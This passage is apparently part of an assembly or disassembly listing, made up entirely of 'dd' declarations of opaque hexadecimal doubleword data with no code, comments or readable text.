		dd 208001DBh, 6784B3C9h, 28E640BCh, 3901C006h, 24F8CFE1h
		dd 0BFD86A9Ah, 104803F5h, 0AC8E1EEFh, 0E4011A88h, 0A29ACF2Ch
		dd 77A55E00h, 90B5CE4Eh, 369E0051h, 187EF1C9h, 60F852CFh
		dd 50F96C30h, 0E8263D09h, 58C100C8h, 77D6729Bh,	0E000FE5Ch
		dd 7A6DBB95h, 570B9BCh,	0E1D3E234h, 72FE0CF2h, 0C67C2F60h
		dd 0C5BD7619h, 8EEC4FA1h, 534A014Dh, 2F315007h,	5E608027h
		dd 6E51D72Bh, 830B008Eh, 7B65DA7Ah, 0E700814Eh,	0A85C631Bh
		dd 78E26A4Ch, 77A402FDh, 585099B8h, 0C3651D60h,	0E9AC4101h
		dd 536FC07Eh, 7132E080h, 0FA690273h, 0C8A40318h, 8C4D88h
		dd 54A9269Ah, 3D73CB7Ch, 0A33B2700h, 4F18B64Ah,	96589DA8h
		dd 962DED00h, 73F4958h,	879900BAh, 0EA2F13C0h, 0C960067Ah
		dd 92105850h, 12A03A7h,	0CE9A87F7h, 61E20588h, 5FBE6200h
		dd 70917E7h, 0A51F0084h, 258CD201h, 473AD899h, 77986132h
		dd 9448C218h, 0C00D782Ch, 0B5DA09B1h, 0B7017ABCh, 2BA46A20h
		dd 0DC402DCCh, 858EF8h,	6C9178D9h, 6B232AFBh, 3872FA00h
		dd 0D2CBFEA3h, 0E28C02Fh, 0AEEE50D1h, 35014Ch, 0CCBA9107h
		dd 1E43B664h, 409A7AE9h, 8FF0B7A4h, 5900DE79h, 0C117298h
		dd 25424Fh, 0A5F5A3FBh,	0CD81025Bh, 0B7577907h,	0FCE0BBE7h
		dd 3050D67h, 146C537Ah,	50007CB5h, 0BBD3E7B6h, 0D2ED67FBh
		dd 3C8AC58h, 281A51A5h,	882FE3F7h, 10F4261h, 0E73BFB99h
		dd 8166E264h, 54457331h, 34C4DA55h, 32D01D9Eh, 0A9B51835h
		dd 53027810h, 7F2B3CCCh, 0D81C801Dh, 0DFBE5EDFh, 56580A60h
		dd 5BAF060Ch, 41067920h, 0FB923505h, 66771218h,	795C0364h
		dd 90817F52h, 3A1BE065h, 7DE24C00h, 0DE6BAE16h,	360800EAh
		dd 317BDB58h, 2A00C0F1h, 2E96D83Ch, 0CA68DFh, 827FEE98h
		dd 0BB7D48A5h, 875F1F00h, 0A9C99327h, 0AA5200A8h, 96560CD7h
		dd 0A1003B14h, 9054518Ch, 0F8F8326h, 0B76DB6E7h, 45DFCB40h
		dd 7400CA19h, 0B624170h, 6E90CCh, 5384D8B8h, 24ACC2DAh
		dd 23A2200h, 0F77EE64Bh, 2E2600FDh, 95D3648h, 0FC1D32F9h
		dd 0C743DB1Fh, 0F8ECFED8h, 22694Ah, 97EDBE11h, 51AAA78Eh
		dd 7B5FB901h, 0DA186B5Eh, 57E40631h, 9761005Ch,	65FB9E5Ah
		dd 0B10B7FB7h, 0F45B0Ch, 0EC8C6DF9h, 95C40045h,	0D42593A4h
		dd 610065FCh, 36340F31h, 0DD2F5E11h, 14084080h,	7B456B8Eh
		dd 0C47AF500h, 372DB674h, 992000A0h, 0BB7CFDA2h, 1A00C89Fh
		dd 4D65F22Bh, 7C2096Ah,	0DB2019CBh, 0A1600E56h,	0BFA01D45h
		dd 78509100h, 6CB71EE2h, 28E10062h, 0D84A9EE4h,	0E3039942h
		dd 78E8F05Ah, 0F9403917h, 0E2309C00h, 4D03BC96h, 80FC1039h
		dd 72DA684Ch, 0B081D71Eh, 0EB4801A0h, 7C098CC3h, 0F80FE4ABh
		dd 86147038h, 12DF6566h, 24F70650h, 0A1689789h,	0E8F63500h
		dd 0FE07658h, 0C8770766h, 0E1BDB4B6h, 2035E5F4h, 6475AF0Fh
		dd 9D2B5700h, 6BB562FBh, 84960114h, 0B18CB445h,	0A3BEFC31h
		dd 0A6FBE000h, 39B589C5h, 4D050037h, 0A0721D2Ah, 0E800CD13h
		dd 6399077Bh, 3EAFE67h,	443767Eh, 5F8A1E3h, 0BE0001F1h
		dd 60A0F0C8h, 14FD6B8Fh, 0F88EA46Fh, 77041A01h,	0D8C0F7DEh
		dd 0A0162495h, 0C30E7AAAh, 0F5007EBAh, 0F815261Fh, 33FCDDh
		dd 91E3BD6Fh, 899D4754h, 8088863Bh, 1C61DFEDh, 392EA6BBh
		dd 6500A064h, 0CBD141ECh, 13007742h, 0F916BC52h, 1EFBD50h
		dd 9360E131h, 0C88BFF40h, 9078821Dh, 0F4004EE4h, 77B5A713h
		dd 765A643h, 322C781Fh,	4E73200Ah, 812EF4DFh, 430076ADh
		dd 8F9DCCA1h, 0C1BF00A8h, 0D9FB4FABh, 3DEEA67Fh, 54327100h
		dd 0DCB8B21Bh, 8A5A3DC9h, 0F2383Dh, 4DA786F3h, 0EA403508h
		dd 0FB1E6401h, 0CEB9F280h, 1CD5A8C8h, 0CB9D7AB8h, 550003F7h
		dd 55BB6231h, 540A9112h, 4B1319FCh, 0F41500CFh,	53C42F7Bh
		dd 941EE8F8h, 0D80A1D5h, 4F31CC44h, 760A1C0Ch, 0AD91C739h
		dd 684180F0h, 4E7C66CBh, 42543703h, 0D54C0689h,	8A3D3C80h
		dd 0FDEE25h, 9B93A6A3h,	9AE4E196h, 1AC3C4A2h, 3560800h
		dd 0EC81C684h, 3091F839h, 9C18BBF7h, 6BB8B042h,	0A53C89F8h
		dd 5B0A1F46h, 12C93306h, 793F840h, 0A58858EDh, 422FC19Bh
		dd 6587D8C3h, 4B49B80Fh, 77A9DC0h, 0C98B77DEh, 7D27C6E3h
		dd 0ED4F0038h, 0CC39E275h, 6D155FECh, 3C2C190Dh, 480074D8h
		dd 57F9AA9Dh, 0C2A3CADh, 1C1946D7h, 0E1071299h,	0E598EDC4h
		dd 0B4170AC0h, 3CCA313Fh, 9E9432A8h, 51C66F98h,	1F19D367h
		dd 8047E592h, 469BEB24h, 0AD30F86Fh, 0A7C1F831h, 1864F2D5h
		dd 4191973Bh, 11001821h, 96CA04B1h, 0C91287h, 0E597198Fh
		dd 2A84F8ABh, 1198B82Eh, 26625B03h, 5F3087A4h, 0A916964h
		dd 0D875F8E9h, 191402ACh, 2483C9C1h, 0E5B00F4Ch, 0A000392Ah
		dd 0BF6FDB81h, 0C2742DB1h, 286B2131h, 0BB53C000h, 8547281Eh
		dd 0A4774880h, 0A9FB2C18h, 6005DF6h, 0CFDE1350h, 7425D662h
		dd 0FC8554CEh, 1D31CD4h, 0FA58809Dh, 1C961902h,	0E595CD01h
		dd 4C9008AEh, 26989C4h,	786F32BDh, 3090929Dh, 0EB080D5Ah
		dd 5BCC8613h, 5C02E8B8h, 113AE600h, 209B1382h, 0E59300A7h
		dd 58FCB8D3h, 997840E9h, 0A451D13Eh, 0BC80508Ch, 2BD808A9h
		dd 0CA389038h, 56707871h, 809BEA21h, 0B2601127h, 5F003186h
		dd 0BAA5CC3Bh, 0FE9388DCh, 8E561232h, 7C804177h, 60DADFD3h
		dd 0FA3F823Bh, 73803A1Ch, 0B95680A0h, 62E59F00h, 0A2178443h
		dd 0B1D02BEh, 1C5C9C61h, 0FC392540h, 0C037A606h, 98999E2h
		dd 0F0BC95CBh, 76354C00h, 78289621h, 4A00B429h,	0BC48F219h
		dd 79645Ch, 0AC33B6C6h,	747BC723h, 0A19DF400h, 0B98B0228h
		dd 61E5002Dh, 5156D619h, 9A727014h, 32672F0Eh, 0F152200Fh
		dd 0C8AF86Dh, 2C5334E8h, 0FC0E8C32h, 203F54C0h,	5E80780Dh
		dd 0D07D5Ch, 4504796Ch,	0FA357233h, 49262D01h, 2C1A208Eh
		dd 0D8FDD043h, 5E8CF8h,	0D61646C1h, 0A6FEC5E9h,	0B10D0700h
		dd 0BE253DB0h, 1E2FF6B2h, 805F605Ch, 8CF48DBAh,	0AD3CB3C2h
		dd 0C5431DD4h, 57404A07h, 158EA1C0h, 0C94D5CBFh, 17313B01h
		dd 0F4076EF1h, 8109B9A0h, 0ACFEF8h, 8B8A56E4h, 6E4700F4h
		dd 53DE9D7h, 0A3FA9575h, 0E1B62107h, 74D028BBh,	0A10AF3h
		dd 7D968FE8h, 918C98D1h, 95C088DDh, 0A0F3D57Ch,	14F70B67h
		dd 0A5804F4Bh, 0F5A491EFh, 0EE691E03h, 0A390DB55h, 0F3949883h
		dd 1D87900Eh, 3708BA74h, 0FB7F0E0h, 291E9871h, 380FDC5h
		dd 410B44BBh, 8C20C030h, 51D46046h, 34E5B100h, 0E205203Dh
		dd 0D9D8001Fh, 8B859D0Bh, 79023517h, 7C6AABBAh,	724E410Eh
		dd 1AA0E0h, 0F38DC6B3h,	0FF1F03E1h, 5AA098A3h, 0F5715F29h
		dd 0B6C410C0h, 254BE37h, 5BC670AEh, 0B480D8C2h,	90F7A8B0h
		dd 5376F300h, 239CBD4Bh, 96EE3CB6h, 0FCF2559Fh,	83A08480h
		dd 9973C5DEh, 58B5330Fh, 0F8A1C07Ch, 3BB327h, 45603125h
		dd 527B4A43h, 8BFD1600h, 5AE956DAh, 0D52A00B2h,	1D171386h
		dd 0F400D28Ch, 3AB6E1A1h, 0B434F2h, 0D65960D3h,	4D7EA466h
		dd 9E265700h, 0F0D99DC0h, 51211C12h, 553CC0D3h,	9FD5FBB0h
		dd 0BFBBB500h, 8DF15365h, 5F1E0069h, 1218BE3Dh,	22004B13h
		dd 4258E2B0h, 1C9D6E46h, 40506F9Eh, 0C0EC20D9h,	4E0026EAh
		dd 9C318151h, 0EFB121h,	69039475h, 0CBC7BC17h, 0FFB5BD00h
		dd 0F1135B30h, 9C350E38h, 0B3401518h, 0B77AA689h, 34429E01h
		dd 0A25D9A6Ch, 2808DFD4h
		dd 12D00E03h, 0F2D5778h, 0ECC90F3Ah, 49D1BF03h,	0A81911B8h
		dd 0DFC1DB06h, 0C0A5D72h, 0F17DA5EDh, 0D3008142h, 0FA31D596h
		dd 5C5A242Ch, 0C107D439h, 0F7DA6BCFh, 0C979004Ah, 0A10FD6BFh
		dd 0A0A2C20Bh, 8D911087h, 46CB388Eh, 56232481h,	0CC27ABB5h
		dd 0DD00D14Ah, 0A5217EB3h, 0E6C78799h, 23AE0077h, 292573A0h
		dd 4C00A163h, 0D3566A5Eh, 3C52AE8h, 91F05542h, 0ACD88DFEh
		dd 9002270h, 1F77DCE4h,	0FDAD34Eh, 0BA879DF2h, 74CB000h
		dd 0C601409Bh, 0EBB90683h, 0D320B723h, 9F71007Dh, 0E18B10EDh
		dd 0C500E6D2h, 0DF50C299h, 4FF3E5h, 0A492EBBBh,	1C16CFABh
		dd 0B7379801h, 13A9A038h, 1FE180E0h, 7D44B5h, 8B3DDF45h
		dd 0E7EC1247h, 209F5Ch,	1D39FF5Bh, 0FE198D85h, 54B61D50h
		dd 8896C0C9h, 735D609Fh, 3761A000h, 0C250B22Eh,	0ADFF1EE7h
		dd 7ECBC087h, 4E19FB42h, 83397C03h, 3033010h, 74EE7D78h
		dd 0AF880887h, 6100B88Dh, 8CAA996Ch, 3D1A9Eh, 9D83DF21h
		dd 0CB79A73Ah, 0B33C4900h, 803BCFE0h, 0C339032Dh, 82E7EBDBh
		dd 0CCB108B8h, 0B4606407h, 32404215h, 714714h, 7B5D273Eh
		dd 22C63D23h, 0CDC88203h, 90581AC9h, 0F46EA1h, 5BD4D901h
		dd 48F13D03h, 0BF7A4D07h, 0B0816381h, 0F9C0116Fh, 1F093D84h
		dd 0DC1E14D8h, 0CD203061h, 0C9006B86h, 0D598D839h, 9866E717h
		dd 0B64600A9h, 58D1B352h, 63BF331h, 838E80C5h, 0FEEBB84Ch
		dd 0B20C077Ah, 0C06AC7A5h, 71031A9Fh, 709D4798h, 0E8D67B38h
		dd 145E00A2h, 6C0D8BEDh, 0A9014220h, 0A45CDEA6h, 52611228h
		dd 79E656C0h, 0BE700380h, 17993D62h, 0DC4F6090h, 0DE036800h
		dd 35E6B905h, 0B0C40F8Eh, 30C03ED7h, 0BD98BFFBh, 1DF93F3Eh
		dd 2542B7E5h, 43A21A8Bh, 422BD96Ch, 60B730h, 127F7465h
		dd 11C08598h, 0AA66C40Ch, 0F170F8h, 5C5C860h, 570F8677h
		dd 73138D03h, 0D87CE56Eh, 63B8D6h, 28C6BBADh, 0ABFD22CAh
		dd 9C7F3B00h, 0B9FE4B68h, 0C0FE38h, 39D1E1ECh, 2F0A28C2h
		dd 7F42300h, 271A93FFh,	0CC500017h, 3F5C2E13h, 7000AAC6h
		dd 3B6389A8h, 43D290h, 0B57EFE8Bh, 0B792BB0h, 29EB3Eh
		dd 5CAF5522h, 701A71Eh,	0BFCD137Eh, 0A64150BCh,	0C5012B3Eh
		dd 87A9E160h, 18D0ECE0h, 0C49B508Dh, 50710553h,	0E2ACB69h
		dd 0B62414B8h, 106C80E8h, 0C00EBF94h, 43C9ED84h, 40DC91FAh
		dd 0B2AFA0h, 5FD7EA54h,	987AE4D6h, 83B4050Eh, 0B93FE067h
		dd 39D36E56h, 4E240DD9h, 65D50028h, 7C5441E5h, 94720900h
		dd 129D816Eh, 0C09800E7h, 91C45EC3h, 2D00275Bh,	0FC2B8793h
		dd 0EAA5A39Dh, 0B7D6006Dh, 0BD4497E1h, 32017C92h, 5DE5C768h
		dd 59F862F0h, 0AFD200C1h, 675E6480h, 5A488EB1h,	9EC93D50h
		dd 46042592h, 6CD076DEh, 7564BBCh, 4D45EE83h, 0F697C086h
		dd 0CB58C1A0h, 0E74C047Dh, 50D1A23Dh, 0B731A8E3h, 0E402D4h
		dd 3A50C414h, 0B0854DCh, 77DD70Bh, 94CD01C0h, 743098D2h
		dd 2895488Ch, 0A8598280h, 7A283992h, 2203EEF2h,	79240D54h
		dd 3388E8A1h, 0DDD701D1h, 0ABC3146Bh, 6559E09Dh, 0D928E700h
		dd 9FEA5007h, 0DB6C1CC2h, 2D0900B8h, 0F190F676h, 7C1B4526h
		dd 3D4D2B00h, 0FCEB3BDh, 16437FA6h, 498F50E3h, 900C8AEh
		dd 0CE6296E1h, 7B773Fh,	3356E498h, 0DAFBE7DFh, 0E204CF01h
		dd 438C52C7h, 155361EAh, 6FA57F4h, 531ABAABh, 0CB2E56E9h
		dd 0B6005C93h, 8C86737Ch, 49483BC5h, 6BEA2304h,	9984C0EDh
		dd 6500F5E0h, 0F92BFD71h, 4D92AEBh, 9643C61Fh, 7E4880DEh
		dd 8A005146h, 1A3EA5EAh, 542F306Eh, 48D8D449h, 79C230E3h
		dd 7B602697h, 0B1D9501h, 0F60087DCh, 0F912A87Dh, 0F80C1210h
		dd 2130007Eh, 0A9201362h, 0E96538h, 0B426B18Bh,	370C77h
		dd 0F8571129h, 82C789BFh, 76A16E14h, 0B86401CCh, 79F4650Eh
		dd 0A5D41081h, 0FCF28410h, 66009408h, 0C5DFCBCAh, 0F6D240h
		dd 2DC4C67Eh, 2737EBB6h, 0D5548116h, 0BE2BD602h, 3E90C4A3h
		dd 6E850548h, 0C0F1CFA2h, 0E962F04h, 0C2009D7Fh, 0ADFBBB3Fh
		dd 10DBAB7h, 53F0186Bh,	0C463E1ACh, 3851C1CCh, 3386FD88h
		dd 2820254h, 48AAEC7Fh,	24AB5A54h, 82E8EEA4h, 853844E7h
		dd 6810D48Ch, 0E6123D72h, 5A09545Fh, 8A040205h,	0B06E82h
		dd 832A5004h, 0C57D2CCDh, 0BC532E14h, 0EE2B1AC8h, 0EAD44CD9h
		dd 0A71D184Fh, 633E5850h, 8AF9D40Fh, 0AC646055h, 6970ECh
		dd 0F5FD49E2h, 5DCFBA22h, 0AA7FF2Ch, 17328B00h,	376E931Ch
		dd 0E020438Dh, 2B6B30E4h, 5005491h, 0FB674E0Bh,	0ACF9008Bh
		dd 24F8DA88h, 0DB00B3C4h, 62F2E1FFh, 21EED0h, 8129526Ah
		dd 6B38D5B9h, 17116D00h, 0C6B2AA43h, 3EA70048h,	93EE6A86h
		dd 0DE001C15h, 1A3D147Ah, 1F94FCFFh, 0C0225540h, 0F6C8E5C3h
		dd 0D9005663h, 79F20A33h, 78CD6D3Ch, 0B0290077h, 0DF2D6A49h
		dd 0A8E6EFEEh, 7400DB90h, 0BFD89E1h, 383775BAh,	0C528C826h
		dd 0D17A04B0h, 0D0A0F564h, 0A79D0D9Ch, 0E02E2500h, 866FF61Eh
		dd 9E39064h, 7C8C9111h,	484CB100h, 7E00296Ah, 0E246B41Ah
		dd 5BB7CEh, 0A0740DECh,	0FC116147h, 9ECF14Ch, 0A7F57E99h
		dd 9CE5DB9Ch, 894CD440h, 0B1C86423h, 71C8270h, 68606FB4h
		dd 87000BDBh, 71D1EBA1h, 347E02Bh, 0D6ADFD7h, 7CF84230h
		dd 8200F0DDh, 0BB2A212Ch, 1413F72h, 14DA433Ah, 0D45013B0h
		dd 88C08AC7h, 0A2B8756Dh, 5CC20945h, 0A800776Fh, 0E6ED2FBCh
		dd 0B363AB00h, 5AE0861Bh, 678A0703h, 4708D0h, 0CEB8D922h
		dd 0E429070Bh, 95BC3085h, 49EF2448h, 84E50378h,	46000420h
		dd 2A9FBC68h, 0EB4C7809h, 7EFD6A0h, 7DEF6414h, 22DC30E8h
		dd 9600713Fh, 5E46557Fh, 3C436D1Dh, 6E006A8Fh, 0EFC9F49Ah
		dd 980075E9h, 8B0AA079h, 35E5D3h, 0CDD85316h, 1736936h
		dd 38C62001h, 7BD985FBh, 4EE6A040h, 249E4D61h, 291EAB00h
		dd 0AFF9C31h, 87C6C403h, 0BD21A7E3h, 705B20DCh,	0BFBD091Fh
		dd 8826901h, 0A4E8EAE1h, 28B2ABBBh, 0E5C5AD14h,	7ACCC0FCh
		dd 0FA30B4A0h, 59472E74h, 0F490529Ch, 7A3030C6h, 0EA5E991Ah
		dd 0BE380012h, 0F63A7E78h, 0A272F989h, 0B7A17B12h, 4E932000h
		dd 0C1558Fh, 961FF7Fh, 23752EE7h, 98BC702Eh, 86AB1400h
		dd 79AEC3h, 8B10EEC4h, 0E7F6903Ch, 67808106h, 3D7074D1h
		dd 0D0020F38h, 47D86DDBh, 40E9DC80h, 680F8A9Ch,	40C93508h
		dd 64C037BBh, 88A10016h, 2551AD60h, 0B2076AF1h,	36EA173Ch
		dd 0CC909717h, 0BB9FF2AFh, 593D3Ch, 818E2F00h, 3B94DAB3h
		dd 358AFD00h, 0FAC09BF1h, 0C5CC00E2h, 30AA6C9Ch, 0E301E423h
		dd 0F0148044h, 0C920A865h, 316B0ECBh, 0DEAC140h, 0AA0038FDh
		dd 0E5851D7Bh, 0C45C5946h, 705F1C27h, 4F0DA100h, 7612D327h
		dd 20DB002Bh, 37523AD9h, 0E9001847h, 0B92FB701h, 2686C9h
		dd 0B10AF2A0h, 7DB46494h, 780E827Dh, 1871A91Dh,	0AD843Ah
		dd 2CE85A61h, 56B47C79h, 5AD22D2Ch, 6449CB00h, 82AA63h
		dd 66D11AFFh, 0E6F223Ch, 0C390C001h, 89EC7A8Eh,	1CD451D8h
		dd 0C054ADACh, 0BD5E47EBh, 11031D3Fh, 4A5C097h,	5FF9A0F0h
		dd 0C64600ECh, 75EEE54Dh, 71249283h, 9600389Ah,	58475703h
		dd 569F0F73h, 0D4E0AC38h, 0F5CA2A5Ah, 0D6698901h, 9993D1B4h
		dd 7E079E0h, 5197551Bh,	0B008B087h, 463EA084h, 94382Eh
		dd 0B18DF295h, 7BF59EAh, 7411545Eh, 0BB3102DFh,	5D1A3C40h
		dd 3D74C659h, 0E79B015Bh
		dd 0EB387246h, 501CCBD0h, 37251001h, 0C039D786h, 1094EBCEh
		dd 0B0ECB90Bh, 80C00F1Fh, 0B5E940E2h, 0AF8614A4h, 9303B6C4h
		dd 4F2D2704h, 0CC8E0ED0h, 0C3B00F24h, 7C6ED400h, 0F1CD2ADh
		dd 629EC4D1h, 0D77B8C40h, 0C7CE6EEh, 2CEBC613h,	4F537043h
		dd 0C066CB6Eh, 0A6072Eh, 4A2DEAE2h, 5FE93657h, 0F418117Eh
		dd 0B0A932F1h, 64C6300Fh, 1A651E30h, 6D2263Ah, 9E0CD9A6h
		dd 8F3713D8h, 0D2F002Fh, 3B618DF1h, 0B8723Ah, 0F4135F89h
		dd 1FD4188Ah, 0C3D363CBh, 87BDB997h, 8FC35DD0h,	0E7D27200h
		dd 1DDEE178h, 38609F1h,	0E400C47Dh, 1549E97Eh, 0C6EEA200h
		dd 9EEFCE25h, 95E80450h, 800B346Dh, 924BA77Dh, 97A8E15Fh
		dd 28FC4000h, 0DA2F367Ch, 8B971F00h, 28CECC3h, 253D7CE2h
		dd 685477E3h, 6B00743Eh, 0DC1FAEEBh, 14954A18h,	989D0C0Ah
		dd 123FC500h, 93925EA5h, 8885D516h, 40B2584Fh, 0FE8D666Ch
		dd 3275005Dh, 0A712AB7Dh, 4800A637h, 0AC435873h, 3B9AD515h
		dd 1E80096Fh, 0A6BA84AAh, 0FE007B65h, 0F1A0910Bh, 0EEBBEh
		dd 778C1139h, 8D3F2D31h, 877ABF06h, 70BD4Bh, 5A9C8336h
		dd 7E7D2E04h, 4DA3E0FDh, 0F682B38h, 0E0F9757Bh,	0E92016ACh
		dd 3E8500A8h, 1044C7A1h, 6600AAC0h, 5CEEB001h, 0A0B2158Dh
		dd 78A2C1DCh, 0DD9A1D27h, 6ECA80A8h, 2089B59h, 883B6500h
		dd 745F3AB6h, 84180F62h, 0F94058C8h, 9B38A5BEh,	0EA119500h
		dd 9AA9E7DFh, 2E75014Bh, 4A204E54h, 87CC34B1h, 9C16D600h
		dd 743BFE49h, 7786393Ah, 40E0424h, 804A581Dh, 360C547Ch
		dd 0A30E4E00h, 0C3387A9Dh, 83F10030h, 0A873FD64h, 9E07903Dh
		dd 31EC2A5Ch, 32C125A1h, 21804BF9h, 469B2850h, 880769BEh
		dd 0C0B61B5h, 98018E5h,	0E8850178h, 1D9D03A8h, 1F873CB7h
		dd 0FB413BAAh, 3008BD1Ch, 0A13D2071h, 375D003Ah, 31DDF32Ch
		dd 0B10026B5h, 601690E8h, 0F0B63Eh, 36E3F496h, 1BB4BD17h
		dd 0E265B300h, 0A14C9476h, 991866E7h, 6E77809Dh, 0F1098442h
		dd 0FA05953Ch, 0EE4044CFh, 0EA851DFEh, 0B603DC3Ch, 9F0E3Eh
		dd 0FD612D19h, 0DF59CC15h, 0A5FC1F00h, 0B841ED24h, 82231EA8h
		dd 381980E7h, 0FB4E3476h, 0C9137A1Fh, 1781851Eh, 51C47762h
		dd 16197C00h, 3D48B118h, 726C2F10h, 8BAE00E6h, 4E0E535h
		dd 0B00F2025h, 875AAF45h, 0E6D06AF2h, 5868E9h, 0FB2B7BD6h
		dd 486032FFh, 0EF5F6B00h, 0F9180C9Bh, 0EBFE0062h, 7D8A5977h
		dd 9500F433h, 0D5F06BFDh, 0E20741C5h, 19120022h, 0B7AFE23Ah
		dd 7B0A2B93h, 97A420CBh, 0DEC1A200h, 5D4EA5Bh, 7F25951Bh
		dd 498EC0E7h, 1900C7D3h, 0A15BEFFCh, 85632Ah, 0E4DD06B6h
		dd 94028EB8h, 5800C271h, 74FA11CBh, 226493h, 8366650Ah
		dd 0A503A01Fh, 0C13CC500h, 75E7A2EAh, 609BE8A3h, 26B2064h
		dd 0AD39C60Ah, 67BC9845h, 0C7B3CE38h, 3E5AC021h, 2E036282h
		dd 0CB57A440h, 31764807h, 372060A1h, 4F73DDh, 71628CB2h
		dd 0BF64C1F1h, 47E9C500h, 0ED082FA8h, 191DC4Dh,	11DDE819h
		dd 1000D3AFh, 54631BFFh, 0FEA68EF1h, 84063FDh, 2000ED9Ah
		dd 72637F85h, 1DA4C264h, 81E9C404h, 0CE282734h,	58598060h
		dd 0BCA4AA2Eh, 0C4780057h, 82E6F2E0h, 4303BFC8h, 0E7E30D1Dh
		dd 150AE074h, 0C2AC0073h, 0DB91FEF5h, 0AB782402h, 0BD25B807h
		dd 0FDF0A566h, 0E684B91Ch, 0F04E5BCBh, 0BC3BC7BDh, 0EFDC00ECh
		dd 0F06D4477h, 6A2800D8h, 0F1B33A8Eh, 94009981h, 0F29DC539h
		dd 79EE76h, 9FDAFB5Ch, 0D9903EA3h, 5A404600h, 76296441h
		dd 97E479h, 69DC94CEh, 9122A124h, 0FE215C0Dh, 0B4602839h
		dd 0F7150007h, 0F9AD9771h, 3500AA79h, 49C50472h, 1FF33129h
		dd 0F71D69h, 0BB51E1A2h, 3F00E42Bh, 86DA825Ah, 3AD679h
		dd 67B234B8h, 2671C408h, 5F633300h, 43576041h, 0E46606F1h
		dd 7950B88Dh, 9DE82003h, 88B4D9BDh, 7439675Eh, 212860B7h
		dd 4C9E2075h, 2F21200h,	0F536B13h, 3E0C7951h, 90B66943h
		dd 0B303F028h, 5DA1D5A0h, 619800EBh, 655120Ah, 7533E39Eh
		dd 43094Ch, 0D110131h, 1D3C9D12h, 9AAAE200h, 4946A22Fh
		dd 3A900752h, 7238F0DCh, 5C957E41h, 605D7C88h, 6F8DC1FBh
		dd 5047A230h, 0A7B33Ch,	0A3AD41FEh, 5F5AABBDh, 0C860C733h
		dd 81C9A076h, 0B2E40053h, 40044A8Dh, 5701BAA7h,	0FA5B360Fh
		dd 5B70BC6Ah, 8C303E73h, 85389E85h, 0AC6380AAh,	0E4070952h
		dd 0CCEC0E18h, 274E6F60h, 5F670057h, 26DA246Bh,	9E007D6Ch
		dd 708FA13h, 0E9228843h, 5F9B70h, 9BEA9D15h, 0A3C54710h
		dd 1950FE1Eh, 0DA8F7BC0h, 2436FAh, 4EBF1729h, 0F2EBA22Bh
		dd 78F7D61Dh, 0C766400h, 3053D7Eh, 4740D752h, 30AF4E26h
		dd 9AA67C53h, 1E2CE4EFh, 5779CC03h, 6404CFh, 0EB414520h
		dd 77859423h, 8DC12761h, 0D1D4F662h, 21CE1E11h,	0FF2E00F2h
		dd 956D195Ah, 0D82AF300h, 0EDAF821Dh, 72600CCh,	5D4D149Fh
		dd 5607D6F0h, 5273ABC5h, 26D9F1E0h, 20290C47h, 6F204339h
		dd 0D0077D00h, 7680CC1Ah, 0B0E700B4h, 0EF48C9F7h, 19002BB2h
		dd 1A29DF2Eh, 613BBAh, 0CCF84E27h, 0C84CDD6Ah, 78C0A0B8h
		dd 0B2DADE56h, 3975000Dh, 0CD596FA1h, 4B0032C2h, 0D40226CBh
		dd 1E14DDF5h, 4036B3C3h, 693F64A7h, 9F008BE2h, 450BB83Bh
		dd 0FCA46h, 64BE150Ch, 0C5E05D86h, 51A6FC00h, 0B1F934CBh
		dd 0BFFA00F6h, 0D86927ACh, 741F760Dh, 0A382B482h, 9764B0A4h
		dd 14E70834h, 0A3DE9067h, 0F6A2FE8h, 99E5AE39h,	29856FA0h
		dd 66000B4Eh, 0CB2DB715h, 31D7F9Fh, 0E74F2F72h,	0A0A7BAD6h
		dd 0F26264BFh, 0F1461800h, 56AA999Ch, 0E9D8006Eh, 76B247DCh
		dd 0EFA064C5h, 0C90139F5h, 0B99D1896h, 0D0BD290Bh, 7C6E672h
		dd 0AE98618Bh, 88C05016h, 3D01BC65h, 72B8016Dh,	9D201021h
		dd 0A1A800AEh, 4C30912Bh, 7005A553h, 54CA4843h,	0A8DB0280h
		dd 0C44B00AFh, 0D65D83B5h, 9D0332DFh, 6DA1B1BCh, 40A8F079h
		dd 56F000E1h, 6AB26923h, 4A006F1Fh, 956CBD70h, 1FF8BE20h
		dd 0C1F4CF87h, 82D7BB39h, 0C5C6E068h, 378B4405h, 0F7C0219Fh
		dd 4AD61Ch, 0E843BB56h,	0BA610AF0h, 2CE9FC1Eh, 2700F2DEh
		dd 0D186E09h, 0B69C0092h, 93F31CFBh, 2103D112h,	571507Bh
		dd 0D93009B7h, 90004687h, 2D81F3B9h, 13A8071Fh,	724975C0h
		dd 3C68742h, 3D8514D8h,	809CDA3Ch, 821F0BDh, 9FDC0900h
		dd 0D9F4A2B4h, 0F42BE2CFh, 0FC7D46h, 0B7D2650Dh, 0E4522C69h
		dd 583F7D06h, 0B090AF05h, 3D01E3Eh, 0D74C0107h,	0E473126Eh
		dd 280023CCh, 584AFD56h, 18B6A810h, 0D8E8BD29h,	90015E83h
		dd 56054FEAh, 8041F288h, 9CDC411Ch, 443C0A38h, 843A1Ah
		dd 62FD6695h, 9D144CB8h, 3F2C35E5h, 2191A0E4h, 8808EA59h
		dd 0F1D488E9h, 0EF9EF241h, 21FCBE03h, 0B9106081h, 0F08827B1h
		dd 0AF030A7Eh, 30814529h, 0E7CD5C59h, 60560204h, 0C85CF1D9h
		dd 0B2083ED0h, 88E94195h, 73BD01B6h, 4B205008h,	98C16C05h
		dd 84671859h, 0F2244CB1h, 3DA88A42h, 103EB602h,	0B188E931h
		dd 0BDD98008h, 0F33DB718h, 3D461C50h, 1200AD5Ah, 23BDE1Dh
		dd 0C50699C1h, 6465BBF1h, 0BA0B0680h, 78F24881h, 555C6603h
		dd 12B91AEh, 0EA9ED881h, 0DB814695h, 4147C800h,	0FAE67F9Dh
		dd 0B1FC0016h, 14BDF50Eh, 0A200DB6Fh, 0D0F4DD83h, 3DEBCC43h
		dd 983594Bh, 0F6046B66h, 0BC3880ECh, 6C920627h,	40F29E4Ch
		dd 0F70F96A9h, 0C0DD4E02h
		dd 14D06701h, 6568397Bh, 0E1A86E04h, 791E8022h,	3507AD39h
		dd 9FA609FBh, 4EC0F725h, 0B304F2h, 21F8CB9h, 0BAC11D17h
		dd 9A30B201h, 0F8F76861h, 17BDCh, 0A04913Eh, 82AFFA94h
		dd 0D5191507h, 133002ADh, 7272164h, 50BFDCEDh, 0FCBA44h
		dd 84B12556h, 622A51B2h, 81009052h, 0DFE75A8Fh,	3D7F9C75h
		dd 3F31EB4h, 37EA2650h,	0FBF873E4h, 7800E69Bh, 0FAAB05F6h
		dd 7C719894h, 4C477C32h, 973E5348h, 1777DC89h, 256207h
